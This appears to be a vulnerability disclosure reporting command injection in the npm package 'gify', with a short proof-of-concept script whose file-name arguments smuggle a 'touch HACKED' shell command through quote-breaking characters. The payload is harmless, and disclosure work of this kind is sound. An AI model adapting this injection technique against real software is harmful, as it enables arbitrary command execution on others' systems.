Description

The gify module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection

POC

1. Create the following PoC file:

// poc.js
var gify = require("gify");
gify("out.mp4\"`'; touch HACKED; #", 'out.gif\';touch HACKED; #');;

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i gify # Install affected module
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created